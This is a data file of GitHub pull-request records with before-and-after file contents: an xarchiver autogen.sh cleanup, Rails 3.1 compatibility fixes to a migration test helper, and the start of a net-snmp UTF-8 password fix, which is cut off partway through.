{"repo": "ib/xarchiver", "pr_number": 174, "title": "Don't make empty 'NEWS' or 'AUTHORS' files", "state": "closed", "merged_at": null, "additions": 2, "deletions": 4, "files_changed": ["autogen.sh"], "files_before": {"autogen.sh": "#!/bin/sh\n\ntest \"$BASH\" && set -o pipefail\n\necho > AUTHORS\necho > NEWS\nmkdir m4\n\necho -n \"Creating the build system... \"\n\nintltoolize --copy --force --automake || exit\nlibtoolize --copy --force --quiet || exit\naclocal || exit\nautoheader || exit\nautomake --copy --force-missing --add-missing --gnu 2>&1 | sed \"/installing/d\" || exit\nautoconf -Wno-obsolete || exit\n\necho \"done.\"\n\n# clean up in order to keep repository small\n# (will be needed if 'make dist' is used though)\nrm AUTHORS NEWS INSTALL aclocal.m4 intltool-extract.in intltool-merge.in intltool-update.in\nrm -f config.h.in~ configure~\nrm -r autom4te.cache m4\n"}, "files_after": {"autogen.sh": "#!/bin/sh\n\ntest \"$BASH\" && set -o pipefail\n\nmkdir m4\n\necho -n \"Creating the build system... \"\n\nintltoolize --copy --force --automake || exit\nlibtoolize --copy --force --quiet || exit\naclocal || exit\nautoheader || exit\nautomake --copy --force-missing --add-missing --gnu 2>&1 | sed \"/installing/d\" || exit\nautoconf -Wno-obsolete || exit\n\necho \"done.\"\n\n# clean up in order to keep repository small\n# (will be needed if 'make dist' is used though)\nrm INSTALL aclocal.m4 intltool-extract.in intltool-merge.in intltool-update.in\nrm -f config.h.in~ configure~\nrm -r autom4te.cache m4\n"}}
{"repo": "collectiveidea/migration_test_helper", "pr_number": 6, "title": "Rails 3.1 fixes", "state": "closed", "merged_at": null, "additions": 17, "deletions": 21, "files_changed": ["init.rb", "lib/migration_test_helper.rb", "test/helper.rb", "test/migration_test_helper_test.rb"], "files_before": {"init.rb": "if RAILS_ENV == 'test'\n  require 'migration_test_helper'\n  require 'test/unit'\n  Test::Unit::TestCase.class_eval do\n    include MigrationTestHelper\n  end\nend\n", "lib/migration_test_helper.rb": "#--\n# Copyright (c) 2007 Micah Alles, Patrick Bacon, David Crosby\n# \n# Permission is hereby granted, free of charge, to any person obtaining\n# a copy of this software and associated documentation files (the\n# \"Software\"), to deal in the Software without restriction, including\n# without limitation the rights to use, copy, modify, merge, publish,\n# distribute, sublicense, and/or sell copies of the Software, and to\n# permit persons to whom the Software is furnished to do so, subject to\n# the following conditions:\n# \n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n#++\n\nrequire 'test/unit/assertions'\n\nmodule MigrationTestHelper \n  def self.migration_dir\n    @migration_dir || File.expand_path(RAILS_ROOT + '/db/migrate')\n  end\n\n  #\n  # sets the directory in which the migrations reside to be run with migrate\n  #\n  def self.migration_dir=(new_dir)\n    @migration_dir = new_dir\n  end\n\n  #\n  # verifies the schema exactly matches the one specified (schema_info does not have to be specified)\n  # \n  #   assert_schema do |s|\n  #     s.table :dogs do |t|\n  #       t.column :id,   :integer, :default => 2\n  #       t.column :name, :string\n  #     end\n  #   end\n  #\n  def assert_schema\n    schema = Schema.new\n    yield schema\n    schema.verify\n  end\n\n  #\n  # verifies a single table exactly matches the one specified\n  # \n  #   assert_table :dogs do |t|\n  #     t.column :id,   :integer, :default => 2\n  #     t.column :name, :string\n  #   end\n  #\n  def assert_table(name)\n    table = Table.new(name)\n    yield table\n    table.verify\n  end\n\n  #\n  # drops all tables in the database\n  # \n  def drop_all_tables\n    ActiveRecord::Base.connection.tables.each do |table|\n      ActiveRecord::Base.connection.drop_table(table)\n    end\n  end\n\n  #\n  # executes your migrations\n  #\n  #   migrate                # same as rake db:migrate\n  #\n  # Options are:\n  # * :version - version to migrate to (same as VERSION=.. option to rake db:migrate)\n  # * :verbose - print migration status messages to STDOUT, defaults to false\n  # \n  def migrate(opts={})\n    old_verbose = ActiveRecord::Migration.verbose\n    ActiveRecord::Migration.verbose = opts[:verbose].nil? ? false : opts[:verbose]\n    version = opts[:version] ? opts[:version].to_i : nil\n    ActiveRecord::Migrator.migrate(MigrationTestHelper.migration_dir, version)\n  ensure\n    ActiveRecord::Migration.verbose = old_verbose\n  end\n\n  module Connection #:nodoc:\n    def conn\n      ActiveRecord::Base.connection\n    end\n  end\n\n  class Schema\n    include Connection\n    include Test::Unit::Assertions\n\n    def initialize #:nodoc:\n      @tables = []\n    end\n\n    def table(name)\n      table = Table.new(name)\n      yield table\n      table.verify\n      @tables << table\n    end\n\n    def verify #:nodoc:\n      actual_tables = conn.tables.reject {|t| t == 'schema_info' || t == 'schema_migrations'}\n      expected_tables = @tables.map {|t| t.name }\n      assert_equal expected_tables.sort, actual_tables.sort, 'wrong tables in schema'\n    end\n  end\n\n  class Table\n    include Connection\n    include Test::Unit::Assertions\n    attr_reader :name\n\n    def initialize(name) #:nodoc:\n      @name = name.to_s\n      @columns = []\n      @indexes = []\n      assert conn.tables.include?(@name), \"table <#{@name}> not found in schema\"\n    end\n\n    def column(colname,type,options={})\n      colname = colname.to_s\n      @columns << colname\n      col = conn.columns(name).find {|c| c.name == colname }\n      assert_not_nil col, \"column <#{colname}> not found in table <#{self.name}>\"\n      assert_equal type, col.type, \"wrong type for column <#{colname}> in table <#{name}>\"\n      options.each do |k,v|\n        k = k.to_sym; actual = col.send(k); actual = actual.is_a?(String) ? actual.sub(/'$/,'').sub(/^'/,'') : actual\n        assert_equal v, actual, \"column <#{colname}> in table <#{name}> has wrong :#{k}\"\n      end\n    end\n\n    def index(column_name, options = {})\n      @indexes << \"name <#{options[:name]}> columns <#{Array(column_name).join(\",\")}> unique <#{options[:unique] == true}>\" \n    end\n\n    def verify #:nodoc:\n      actual_columns = conn.columns(name).map {|c| c.name }\n      assert_equal @columns.sort, actual_columns.sort, \"wrong columns for table: <#{name}>\"\n\n      actual_indexes = conn.indexes(@name).collect { |i| \"name <#{i.name}> columns <#{i.columns.join(\",\")}> unique <#{i.unique}>\" }\n      assert_equal @indexes.sort, actual_indexes.sort, \"wrong indexes for table: <#{name}>\"\n    end\n    \n    def method_missing(type, *columns)\n      options = columns.extract_options!\n      columns.each do |colname|\n        column colname, type, options\n      end\n    end\n  end\nend\n", "test/helper.rb": "ENV[\"RAILS_ENV\"] = \"test\"\nrequire File.expand_path(File.dirname(__FILE__) + '/../../../../config/environment')\nrequire 'logger'\nrequire 'fileutils'\nrequire 'test_help'\n\nplugin_path = RAILS_ROOT + \"/vendor/plugins/migration_test_helper\"\n\nconfig_location = File.expand_path(plugin_path + \"/test/config/database.yml\")\n\nconfig = YAML::load(ERB.new(IO.read(config_location)).result)\nActiveRecord::Base.logger = Logger.new(plugin_path + \"/test/log/test.log\")\nActiveRecord::Base.establish_connection(config['test'])\n\nTest::Unit::TestCase.fixture_path = plugin_path + \"/test/fixtures/\"\n\n$LOAD_PATH.unshift(Test::Unit::TestCase.fixture_path)\n\nclass Test::Unit::TestCase\n  include FileUtils\n  def plugin_path(path)\n    File.expand_path(File.dirname(__FILE__) + '/../' + path)  \n  end\n\n  def load_default_schema\n    ActiveRecord::Migration.suppress_messages do\n      schema_file = plugin_path(\"/test/db/schema.rb\")\n      load(schema_file) if File.exist?(schema_file)\n    end\n  end\n\n  def migration_test_path\n    File.expand_path(RAILS_ROOT + \"/test/migration\")\n  end\n\n  def run_in_rails_root(command)\n    cd RAILS_ROOT do\n      @output = `#{command}`\n    end\n  end\n\n  def check_output(string_or_regexp)\n    assert_not_nil @output, \"No output collected\"\n    case string_or_regexp\n    when String\n      assert_match(/#{Regexp.escape(string_or_regexp)}/, @output)\n    when Regexp\n      assert_match(string_or_regexp, @output)\n    else\n      raise \"Can't check output using oddball object #{string_or_regexp.inspect}\"\n    end\n  end\n  \n  def rm_migration_test_path\n    rm_rf migration_test_path\n  end\n\n  def self.should(behave,&block)\n    return unless running_in_foundry\n    @context ||= nil\n    @context_setup ||= nil\n    context_string = @context.nil? ? '' : @context + ' '\n    mname = \"test #{context_string}should #{behave}\"\n    context_setup = @context_setup\n    if block_given?\n      define_method(mname) do\n        instance_eval(&context_setup) unless context_setup.nil?\n        instance_eval(&block)\n      end \n    else\n      puts \">>> UNIMPLEMENTED CASE: #{name.sub(/Test$/,'')} should #{behave}\"\n    end\n  end\n\nend\n", "test/migration_test_helper_test.rb": "require File.expand_path(File.dirname(__FILE__) + '/helper') \n\nclass MigrationTestHelperTest < Test::Unit::TestCase\n\n  def setup\n    load_default_schema\n    MigrationTestHelper.migration_dir = plugin_path('test/db/migrate_good')\n  end\n\n  #\n  # HELPERS\n  #\n  def see_failure(pattern='')\n    err = assert_raise(Test::Unit::AssertionFailedError) do\n      yield\n    end\n    assert_match(/#{pattern}/mi, err.message) \n  end\n\n  def see_no_failure\n    assert_nothing_raised do\n      yield\n    end\n  end\n\n  def declare_columns_on_table(t)\n    t.column :id,   :integer\n    t.column :tail, :string, :default => 'top dog', :limit => 187\n  end\n  \n  #\n  # TESTS\n  #\n  def test_assert_schema_should_not_fail_if_schema_is_matched\n    see_no_failure do\n      assert_schema do |s|\n        s.table :dogs do |t|\n\t  declare_columns_on_table(t)\n\t  t.index :tail, :name => 'index_tail_on_dogs'\n        end\n\n      end\n    end\n  end\n\n  def test_assert_schema_should_fail_if_a_table_is_not_specified\n    see_failure 'wrong tables in schema.*dogs' do\n      assert_schema do |s|\n      end\n    end\n  end\n\n  def test_assert_schema_should_fail_if_a_table_is_not_found\n    see_failure 'table <things> not found in schema' do\n      assert_schema do |s|\n        s.table :things do |t|\n          t.column :id, :integer\n        end\n      end\n    end\n  end\n\n  def test_assert_schema_should_fail_if_a_column_is_not_specified\n    see_failure 'wrong columns for table.*dogs.*tail' do\n      assert_schema do |s|\n        s.table :dogs do |t|\n          t.column :id,   :integer\n        end\n      end\n    end\n  end\n\n  def test_assert_schema_should_fail_if_a_column_is_not_found\n    see_failure 'column <legs> not found in table <dogs>' do\n      assert_schema do |s|\n        s.table :dogs do |t|\n          t.column :id,   :integer\n          t.column :tail, :string\n          t.column :legs, :integer\n        end\n      end\n    end\n  end\n\n  def test_assert_schema_should_fail_if_wrong_options_not_specified\n    see_failure 'column <tail> in table <dogs> has wrong :default' do\n      assert_table :dogs do |t|\n        t.column :id,   :integer\n        t.column :tail, :string, :default => \"blah\"\n      end\n    end\n  end\n\n  def test_assert_table_should_not_fail_if_table_is_matched\n    see_no_failure do\n      assert_table :dogs do |t|\n        declare_columns_on_table(t)\n\tt.index :tail, :name => 'index_tail_on_dogs'\n      end\n    end\n  end\n\n  def test_assert_table_should_fail_if_a_table_is_not_found\n    see_failure 'table <things> not found in schema' do\n      assert_table :things do |t|\n        t.column :id, :integer\n      end\n    end\n  end\n\n  def test_assert_table_should_fail_if_a_column_is_not_specified\n    see_failure 'wrong columns for table.*dogs.*tail' do\n      assert_table :dogs do |t|\n        t.column :id,   :integer\n      end\n    end\n  end\n\n  def test_assert_table_should_fail_if_a_column_is_not_found\n    see_failure 'column <legs> not found in table <dogs>' do\n      assert_table :dogs do |t|\n        t.column :id,   :integer\n        t.column :tail, :string\n        t.column :legs, :integer\n      end\n    end\n  end\n\n  def test_assert_table_should_fail_if_wrong_options_not_specified\n    see_failure 'column <tail> in table <dogs> has wrong :default' do\n      assert_table :dogs do |t|\n        t.column :id,   :integer\n        t.column :tail, :string, :default => \"blah\"\n      end\n    end\n  end\n\n  def test_assert_table_should_fail_if_an_index_is_not_specified\n    see_failure 'wrong indexes for table: <dogs>' do\n      assert_table :dogs do |t|\n        declare_columns_on_table(t)\n      end\n    end\n  end\n\n  def test_assert_schema_should_fail_if_a_column_in_an_index_is_not_found\n    see_failure 'wrong indexes for table: <dogs>' do\n      assert_table :dogs do |t|\n        declare_columns_on_table(t)\n\tt.index :legs, :name => 'index_legs_on_dogs'\n      end\n    end\n  end\n\n  def test_assert_schema_should_fail_if_wrong_options_on_an_index\n    see_failure 'wrong indexes for table: <dogs>' do\n      assert_table :dogs do |t|\n        declare_columns_on_table(t)\n\tt.index :tail, :name => 'index_tail_on_dogs', :unique => true\n      end\n    end\n  end\n\n  def test_should_drop_all_tables\n    assert_equal ['dogs','schema_info'].sort, ActiveRecord::Base.connection.tables.sort\n    drop_all_tables\n    assert_equal [], ActiveRecord::Base.connection.tables\n    drop_all_tables\n    assert_equal [], ActiveRecord::Base.connection.tables\n  end\n\n  def test_should_migrate_to_highest_version\n    drop_all_tables\n    assert_schema do |s|\n    end\n\n    migrate :version => 1\n\n    assert_schema do |s|\n      s.table :top_dogs do |t|\n        t.column :id,      :integer\n        t.column :name,    :string\n      end\n    end\n\n    migrate :version => 2\n\n    assert_schema do |s|\n      s.table :top_dogs do |t|\n        t.column :id,      :integer\n        t.column :name,    :string\n      end\n      s.table :bottom_dogs do |t|\n        t.column :id,      :integer\n        t.column :name,    :string\n        t.column :sick,    :boolean\n      end\n    end\n\n    migrate :version => 3\n\n    assert_schema do |s|\n      s.table :top_dogs do |t|\n        t.column :id,      :integer\n        t.column :name,    :string\n      end\n      s.table :bottom_dogs do |t|\n        t.column :id,      :integer\n        t.column :name,    :string\n        t.column :sick,    :boolean\n      end\n      s.table :cats do |t|\n        t.column :id,      :integer\n        t.column :lives,   :integer\n      end\n    end\n\n    migrate :version => 0\n\n    assert_schema do |s|\n    end\n\n    migrate\n\n    assert_schema do |s|\n      s.table :top_dogs do |t|\n        t.column :id,      :integer\n        t.column :name,    :string\n      end\n      s.table :bottom_dogs do |t|\n        t.column :id,      :integer\n        t.column :name,    :string\n        t.column :sick,    :boolean\n      end\n      s.table :cats do |t|\n        t.column :id,      :integer\n        t.column :lives,   :integer\n      end\n    end\n  end\n\n  def test_should_have_default_migration_dir_set\n    MigrationTestHelper.migration_dir = nil\n    assert_equal File.expand_path(RAILS_ROOT + '/db/migrate'), MigrationTestHelper.migration_dir, \n      \"wrong default migration dir\"\n    \n  end\n\n  def test_should_raise_error_if_migration_fails\n    MigrationTestHelper.migration_dir = plugin_path('test/db/migrate_bad')\n    drop_all_tables\n    err = assert_raise RuntimeError do\n      migrate\n    end\n    assert_match(//i, err.message)  \n  end\nend\n\n"}, "files_after": {"init.rb": "if Rails.env.test?\n  require 'migration_test_helper'\n  require 'test/unit'\n  Test::Unit::TestCase.class_eval do\n    include MigrationTestHelper\n  end\nend\n", "lib/migration_test_helper.rb": "#--\n# Copyright (c) 2007 Micah Alles, Patrick Bacon, David Crosby\n# \n# Permission is hereby granted, free of charge, to any person obtaining\n# a copy of this software and associated documentation files (the\n# \"Software\"), to deal in the Software without restriction, including\n# without limitation the rights to use, copy, modify, merge, publish,\n# distribute, sublicense, and/or sell copies of the Software, and to\n# permit persons to whom the Software is furnished to do so, subject to\n# the following conditions:\n# \n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n#++\n\nrequire 'test/unit/assertions'\n\nmodule MigrationTestHelper \n  def self.migration_dir\n    @migration_dir || File.expand_path(Rails.root.to_s + '/db/migrate')\n  end\n\n  #\n  # sets the directory in which the migrations reside to be run with migrate\n  #\n  def self.migration_dir=(new_dir)\n    @migration_dir = new_dir\n  end\n\n  #\n  # verifies the schema exactly matches the one specified (schema_info does not have to be specified)\n  # \n  #   assert_schema do |s|\n  #     s.table :dogs do |t|\n  #       t.column :id,   :integer, :default => 2\n  #       t.column :name, :string\n  #     end\n  #   end\n  #\n  def assert_schema\n    schema = Schema.new\n    yield schema\n    schema.verify\n  end\n\n  #\n  # verifies a single table exactly matches the one specified\n  # \n  #   assert_table :dogs do |t|\n  #     t.column :id,   :integer, :default => 2\n  #     t.column :name, :string\n  #   end\n  #\n  def assert_table(name)\n    table = Table.new(name)\n    yield table\n    table.verify\n  end\n\n  #\n  # drops all tables in the database\n  # \n  def drop_all_tables\n    ActiveRecord::Base.connection.tables.each do |table|\n      ActiveRecord::Base.connection.drop_table(table)\n    end\n  end\n\n  #\n  # executes your migrations\n  #\n  #   migrate                # same as rake db:migrate\n  #\n  # Options are:\n  # * :version - version to migrate to (same as VERSION=.. option to rake db:migrate)\n  # * :verbose - print migration status messages to STDOUT, defaults to false\n  # \n  def migrate(opts={})\n    old_verbose = ActiveRecord::Migration.verbose\n    ActiveRecord::Migration.verbose = opts[:verbose].nil? ? false : opts[:verbose]\n    version = opts[:version] ? opts[:version].to_i : nil\n    ActiveRecord::Migrator.migrate(MigrationTestHelper.migration_dir, version)\n  ensure\n    ActiveRecord::Migration.verbose = old_verbose\n  end\n\n  module Connection #:nodoc:\n    def conn\n      ActiveRecord::Base.connection\n    end\n  end\n\n  class Schema\n    include Connection\n    include Test::Unit::Assertions\n\n    def initialize #:nodoc:\n      @tables = []\n    end\n\n    def table(name)\n      table = Table.new(name)\n      yield table\n      table.verify\n      @tables << table\n    end\n\n    def verify #:nodoc:\n      actual_tables = conn.tables.reject {|t| t == 'schema_info' || t == 'schema_migrations'}\n      expected_tables = @tables.map {|t| t.name }\n      assert_equal expected_tables.sort, actual_tables.sort, 'wrong tables in schema'\n    end\n  end\n\n  class Table\n    include Connection\n    include Test::Unit::Assertions\n    attr_reader :name\n\n    def initialize(name) #:nodoc:\n      @name = name.to_s\n      @columns = []\n      @indexes = []\n      assert conn.tables.include?(@name), \"table <#{@name}> not found in schema\"\n    end\n\n    def column(colname,type,options={})\n      colname = colname.to_s\n      @columns << colname\n      col = conn.columns(name).find {|c| c.name == colname }\n      assert_not_nil col, \"column <#{colname}> not found in table <#{self.name}>\"\n      assert_equal type, col.type, \"wrong type for column <#{colname}> in table <#{name}>\"\n      options.each do |k,v|\n        k = k.to_sym; actual = col.send(k); actual = actual.is_a?(String) ? actual.sub(/'$/,'').sub(/^'/,'') : actual\n        assert_equal v, actual, \"column <#{colname}> in table <#{name}> has wrong :#{k}\"\n      end\n    end\n\n    def index(column_name, options = {})\n      @indexes << \"name <#{options[:name]}> columns <#{Array(column_name).join(\",\")}> unique <#{options[:unique] == true}>\" \n    end\n\n    def verify #:nodoc:\n      actual_columns = conn.columns(name).map {|c| c.name }\n      assert_equal @columns.sort, actual_columns.sort, \"wrong columns for table: <#{name}>\"\n\n      actual_indexes = conn.indexes(@name).collect { |i| \"name <#{i.name}> columns <#{i.columns.join(\",\")}> unique <#{i.unique}>\" }\n      assert_equal @indexes.sort, actual_indexes.sort, \"wrong indexes for table: <#{name}>\"\n    end\n    \n    def method_missing(type, *columns)\n      options = columns.extract_options!\n      columns.each do |colname|\n        column colname, type, options\n      end\n    end\n  end\nend\n", "test/helper.rb": "ENV[\"RAILS_ENV\"] = \"test\"\nrequire File.expand_path(File.dirname(__FILE__) + '/../../../../config/environment')\nrequire 'logger'\nrequire 'fileutils'\nrequire 'rails/test_help'\n\nplugin_path = Rails.root.to_s + \"/vendor/plugins/migration_test_helper\"\n\nconfig_location = File.expand_path(plugin_path + \"/test/config/database.yml\")\n\nconfig = YAML::load(ERB.new(IO.read(config_location)).result)\nActiveRecord::Base.logger = Logger.new(plugin_path + \"/test/log/test.log\")\nActiveRecord::Base.establish_connection(config['test'])\n\nActiveSupport::TestCase.fixture_path = plugin_path + \"/test/fixtures/\"\n\n$LOAD_PATH.unshift(ActiveSupport::TestCase.fixture_path)\n\nclass Test::Unit::TestCase\n  include FileUtils\n  def plugin_path(path)\n    File.expand_path(File.dirname(__FILE__) + '/../' + path)  \n  end\n\n  def load_default_schema\n    ActiveRecord::Migration.suppress_messages do\n      schema_file = plugin_path(\"/test/db/schema.rb\")\n      load(schema_file) if File.exist?(schema_file)\n    end\n  end\n\n  def migration_test_path\n    File.expand_path(RAILS_ROOT + \"/test/migration\")\n  end\n\n  def run_in_rails_root(command)\n    cd RAILS_ROOT do\n      @output = `#{command}`\n    end\n  end\n\n  def check_output(string_or_regexp)\n    assert_not_nil @output, \"No output collected\"\n    case string_or_regexp\n    when String\n      assert_match(/#{Regexp.escape(string_or_regexp)}/, @output)\n    when Regexp\n      assert_match(string_or_regexp, @output)\n    else\n      raise \"Can't check output using oddball object #{string_or_regexp.inspect}\"\n    end\n  end\n  \n  def rm_migration_test_path\n    rm_rf migration_test_path\n  end\n\n  def self.should(behave,&block)\n    return unless running_in_foundry\n    @context ||= nil\n    @context_setup ||= nil\n    context_string = @context.nil? ? '' : @context + ' '\n    mname = \"test #{context_string}should #{behave}\"\n    context_setup = @context_setup\n    if block_given?\n      define_method(mname) do\n        instance_eval(&context_setup) unless context_setup.nil?\n        instance_eval(&block)\n      end \n    else\n      puts \">>> UNIMPLEMENTED CASE: #{name.sub(/Test$/,'')} should #{behave}\"\n    end\n  end\n\nend\n", "test/migration_test_helper_test.rb": "require File.expand_path(File.dirname(__FILE__) + '/helper') \n\nclass MigrationTestHelperTest < Test::Unit::TestCase\n\n  def setup\n    load_default_schema\n    MigrationTestHelper.migration_dir = plugin_path('test/db/migrate_good')\n  end\n\n  #\n  # HELPERS\n  #\n  def see_failure(pattern='')\n    err = assert_raise(Test::Unit::AssertionFailedError) do\n      yield\n    end\n    assert_match(/#{pattern}/mi, err.message) \n  end\n\n  def see_no_failure\n    assert_nothing_raised do\n      yield\n    end\n  end\n\n  def declare_columns_on_table(t)\n    t.column :id,   :integer\n    t.column :tail, :string, :default => 'top dog', :limit => 187\n  end\n  \n  #\n  # TESTS\n  #\n  def test_assert_schema_should_not_fail_if_schema_is_matched\n    see_no_failure do\n      assert_schema do |s|\n        s.table :dogs do |t|\n\t  declare_columns_on_table(t)\n\t  t.index :tail, :name => 'index_tail_on_dogs'\n        end\n\n      end\n    end\n  end\n\n  def test_assert_schema_should_fail_if_a_table_is_not_specified\n    see_failure 'wrong tables in schema.*dogs' do\n      assert_schema do |s|\n      end\n    end\n  end\n\n  def test_assert_schema_should_fail_if_a_table_is_not_found\n    see_failure 'table <things> not found in schema' do\n      assert_schema do |s|\n        s.table :things do |t|\n          t.column :id, :integer\n        end\n      end\n    end\n  end\n\n  def test_assert_schema_should_fail_if_a_column_is_not_specified\n    see_failure 'wrong columns for table.*dogs.*tail' do\n      assert_schema do |s|\n        s.table :dogs do |t|\n          t.column :id,   :integer\n        end\n      end\n    end\n  end\n\n  def test_assert_schema_should_fail_if_a_column_is_not_found\n    see_failure 'column <legs> not found in table <dogs>' do\n      assert_schema do |s|\n        s.table :dogs do |t|\n          t.column :id,   :integer\n          t.column :tail, :string\n          t.column :legs, :integer\n        end\n      end\n    end\n  end\n\n  def test_assert_schema_should_fail_if_wrong_options_not_specified\n    see_failure 'column <tail> in table <dogs> has wrong :default' do\n      assert_table :dogs do |t|\n        t.column :id,   :integer\n        t.column :tail, :string, :default => \"blah\"\n      end\n    end\n  end\n\n  def test_assert_table_should_not_fail_if_table_is_matched\n    see_no_failure do\n      assert_table :dogs do |t|\n        declare_columns_on_table(t)\n\tt.index :tail, :name => 'index_tail_on_dogs'\n      end\n    end\n  end\n\n  def test_assert_table_should_fail_if_a_table_is_not_found\n    see_failure 'table <things> not found in schema' do\n      assert_table :things do |t|\n        t.column :id, :integer\n      end\n    end\n  end\n\n  def test_assert_table_should_fail_if_a_column_is_not_specified\n    see_failure 'wrong columns for table.*dogs.*tail' do\n      assert_table :dogs do |t|\n        t.column :id,   :integer\n      end\n    end\n  end\n\n  def test_assert_table_should_fail_if_a_column_is_not_found\n    see_failure 'column <legs> not found in table <dogs>' do\n      assert_table :dogs do |t|\n        t.column :id,   :integer\n        t.column :tail, :string\n        t.column :legs, :integer\n      end\n    end\n  end\n\n  def test_assert_table_should_fail_if_wrong_options_not_specified\n    see_failure 'column <tail> in table <dogs> has wrong :default' do\n      assert_table :dogs do |t|\n        t.column :id,   :integer\n        t.column :tail, :string, :default => \"blah\"\n      end\n    end\n  end\n\n  def test_assert_table_should_fail_if_an_index_is_not_specified\n    see_failure 'wrong indexes for table: <dogs>' do\n      assert_table :dogs do |t|\n        declare_columns_on_table(t)\n      end\n    end\n  end\n\n  def test_assert_schema_should_fail_if_a_column_in_an_index_is_not_found\n    see_failure 'wrong indexes for table: <dogs>' do\n      assert_table :dogs do |t|\n        declare_columns_on_table(t)\n\tt.index :legs, :name => 'index_legs_on_dogs'\n      end\n    end\n  end\n\n  def test_assert_schema_should_fail_if_wrong_options_on_an_index\n    see_failure 'wrong indexes for table: <dogs>' do\n      assert_table :dogs do |t|\n        declare_columns_on_table(t)\n\tt.index :tail, :name => 'index_tail_on_dogs', :unique => true\n      end\n    end\n  end\n\n  def test_should_drop_all_tables\n    assert_equal ['dogs','schema_migrations'].sort, ActiveRecord::Base.connection.tables.sort\n    drop_all_tables\n    assert_equal [], ActiveRecord::Base.connection.tables\n    drop_all_tables\n    assert_equal [], ActiveRecord::Base.connection.tables\n  end\n\n  def test_should_migrate_to_highest_version\n    drop_all_tables\n    assert_schema do |s|\n    end\n\n    migrate :version => 1\n\n    assert_schema do |s|\n      s.table :top_dogs do |t|\n        t.column :id,      :integer\n        t.column :name,    :string\n      end\n    end\n\n    migrate :version => 2\n\n    assert_schema do |s|\n      s.table :top_dogs do |t|\n        t.column :id,      :integer\n        t.column :name,    :string\n      end\n      s.table :bottom_dogs do |t|\n        t.column :id,      :integer\n        t.column :name,    :string\n        t.column :sick,    :boolean\n      end\n    end\n\n    migrate :version => 3\n\n    assert_schema do |s|\n      s.table :top_dogs do |t|\n        t.column :id,      :integer\n        t.column :name,    :string\n      end\n      s.table :bottom_dogs do |t|\n        t.column :id,      :integer\n        t.column :name,    :string\n        t.column :sick,    :boolean\n      end\n      s.table :cats do |t|\n        t.column :id,      :integer\n        t.column :lives,   :integer\n      end\n    end\n\n    migrate :version => 0\n\n    assert_schema do |s|\n    end\n\n    migrate\n\n    assert_schema do |s|\n      s.table :top_dogs do |t|\n        t.column :id,      :integer\n        t.column :name,    :string\n      end\n      s.table :bottom_dogs do |t|\n        t.column :id,      :integer\n        t.column :name,    :string\n        t.column :sick,    :boolean\n      end\n      s.table :cats do |t|\n        t.column :id,      :integer\n        t.column :lives,   :integer\n      end\n    end\n  end\n\n  def test_should_have_default_migration_dir_set\n    MigrationTestHelper.migration_dir = nil\n    assert_equal File.expand_path(Rails.root.to_s + '/db/migrate'), MigrationTestHelper.migration_dir, \n      \"wrong default migration dir\"\n    \n  end\n\n  def test_should_raise_error_if_migration_fails\n    MigrationTestHelper.migration_dir = plugin_path('test/db/migrate_bad')\n    drop_all_tables\n    err = assert_raise StandardError do\n      migrate\n    end\n    assert_match(//i, err.message)  \n  end\nend\n\n"}}
{"repo": "mixtli/net-snmp", "pr_number": 13, "title": "Fix password length for utf-8 encoded chars (http://zargony.com/2009/07/...", "state": "open", "merged_at": null, "additions": 7, "deletions": 3, "files_changed": ["lib/net/snmp/session.rb", "lib/net/snmp/wrapper.rb"], "files_before": {"lib/net/snmp/session.rb": "require 'thread'\nrequire 'forwardable'\nrequire 'pp'\nmodule Net\n  module SNMP\n    class Session\n      # == SNMP Session\n      #\n      # Provides API for interacting with a host with snmp\n      extend Forwardable\n      include Net::SNMP::Debug\n      attr_accessor :struct, :callback, :requests, :peername, :community\n      attr_reader :version\n      def_delegator :@struct, :pointer\n      #@sessions = []\n      @lock = Mutex.new\n      @sessions = {}\n\n      class << self\n        attr_accessor :sessions, :lock\n\n        # Open a new session.  Accepts a block which yields the session.\n        #\n        #   Net::SNMP::Session.open(:peername => 'test.net-snmp.org', :community => 'public') do |sess|\n        #     pdu = sess.get([\"sysDescr.0\"])\n        #     pdu.print\n        #   end\n        # Options:\n        # * +peername+ - hostname\n        # * +community+ - snmp community string.  Default is public\n        # * +version+ - snmp version.  Possible values include 1, '2c', and 3. Default is 1.\n        # * +timeout+ - snmp timeout in seconds\n        # * +retries+ - snmp retries.  default = 5\n        # * +security_level+ - SNMPv3 only. default = Net::SNMP::Constants::SNMP_SEC_LEVEL_NOAUTH\n        # * +auth_protocol+ - SNMPv3 only. default is nil (usmNoAuthProtocol). Possible values include :md5, :sha1, and nil\n        # * +priv_protocol+ - SNMPv3 only. default is nil (usmNoPrivProtocol). Possible values include :des, :aes, and nil\n        # * +context+ - SNMPv3 only.\n        # * +username+ - SNMPv3 only.\n        # * +auth_password+ - SNMPv3 only.\n        # * +priv_password+ - SNMPv3 only.  \n        # Returns:\n        # Net::SNMP::Session\n        def open(options = {})\n          session = new(options)\n          if Net::SNMP::thread_safe\n            Net::SNMP::Session.lock.synchronize {\n              Net::SNMP::Session.sessions[session.sessid] = session\n            }\n          else\n            Net::SNMP::Session.sessions[session.sessid] = session\n          end\n          if block_given?\n            yield session\n          end\n          session\n        end\n      end\n\n      def initialize(options = {})\n        @timeout = options[:timeout] || 1\n        @retries = options[:retries] || 5\n        @requests = {}\n       